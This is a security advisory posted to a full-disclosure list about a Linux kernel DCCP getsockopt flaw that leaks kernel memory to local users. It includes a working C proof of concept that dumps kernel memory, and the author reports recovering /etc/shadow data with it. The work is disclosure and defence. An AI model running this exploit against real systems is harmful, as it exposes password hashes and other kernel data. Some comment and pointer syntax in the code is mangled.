[Full-disclosure] Linux Kernel DCCP Memory Disclosure Vulnerability

Linux Kernel DCCP Memory Disclosure Vulnerability

Synopsis:

The Linux kernel is susceptible to a locally exploitable flaw
which may allow local users to steal data from the kernel memory.

Vulnerable Systems:

Linux Kernel Versions: >= 2.6.20 with DCCP support enabled.
Kernel versions <2.6.20 lack
DCCP_SOCKOPT_SEND_CSCOV/DCCP_SOCKOPT_RECV_CSCOV optnames for
getsockopt() call with SOL_DCCP level, which are used in the
delivered POC code.

Author:

Robert Swiecki
http://www.swiecki.net
[email protected]

Details:

The flaw exists in do_dccp_getsockopt() function in
net/dccp/proto.c file.

---

static int do_dccp_getsockopt(struct sock *sk, int level, int optname,
char __user *optval, int __user *optlen)
…
if (get_user(len, optlen))
return -EFAULT;
if (len < sizeof(int))
return -EINVAL;
…

The above code doesn't check `len' variable for negative values.
Because of cast typing (len < sizeof(int)) is always true for
`len' values less than 0.

After that copy_to_user() procedure is called:

---

if (put_user(len, optlen) || copy_to_user(optval, &val, len))
return -EFAULT;

What happens next depends greatly on the cpu architecture in-use -
each cpu architecture has its own copy_to_user() implementation. On
the IA-32 the code below …

---

unsigned long
copy_to_user(void __user *to, const void *from, unsigned long n)
{
BUG_ON((long) n < 0);

… will prevent explotation, but kernel will oops due to
invalid opcode in BUG_ON().

On some other architectures (e.g. x86-64) kernel-space data will
be copied to the user supplied buffer until end-of-kernel space
(pagefault in kernel-mode occurs) is reached.

POC:

---

#include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <sys/mman.h>
#include <linux/net.h>

#define BUFSIZE 0x10000000

int main(int argc, char *argv[])
{
void mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (!mem) {
printf("Cannot allocate mem\n");
return 1;
}
/ SOCK_DCCP, IPPROTO_DCCP /
int s = socket(PF_INET, 6, 33);
if (s == -1) {
fprintf(stderr, "socket failure!\n");
return 1;
}
int len = -1;
/ SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
int x = getsockopt(s, 269, 11, mem, &len);

    if (x == -1)
            perror("SETSOCKOPT");
    else
            printf("SUCCESS\n");

    write(1, mem, BUFSIZE);

    return 0;

}

then

---

make poc; ./poc | strings

I found cached disk blocks in the dump ( e.g. /etc/shadow ;) and
tty buffers.

Resolution:

Remove dccp support from the installed linux kernel (remove dccp
kernel modules etc…) or create a patch for kernel sources ;)

Greets and thanks to:

Przemyslaw Frasunek - [email protected] -
http://www.frasunek.com - for his great help during flaw analysis

Pawel Pisarczyk - [email protected] - for interesting talk about
the vulnerability exploitation vectors

–
Robert Swiecki - http://www.swiecki.net

---

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